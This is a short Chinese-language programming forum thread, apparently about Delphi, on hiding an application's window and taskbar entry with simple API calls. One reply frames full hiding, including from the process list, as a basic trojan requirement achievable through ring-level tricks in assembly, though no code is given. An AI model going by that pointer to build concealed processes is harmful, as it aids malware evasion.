怎样让一个程序在后台运行!

怎样让一个程序在后台运行!
Application.ShowMainForm := False;

是不是没有运行程序,只是隐藏起来了!

[singun]

可以这样:
ShowWindow (Application.handle, SW_HIDE);
但是只是在任务栏中隐藏，仍然可以任务列表中看到.

[lw549]

Application.ShowMainForm := False;
程序的确在运行
缺点:
在运行的时候,按Alt+空格,看到了什么?
Alt+F4,这个程序就被关闭了

[yren_test]

你可看一个关于木马方面的程序!!!!这是木马程序最基本的要求

[yren_test]

要求不但在任务栏中看不到,在程序列表中也看不到.用RING实现三级跳,不过得加ASM程序

还有怎样让一个exe和另一个exe操作同步,比如一个exe最小化另一个exe也最小化,最大化同之,关闭也一样
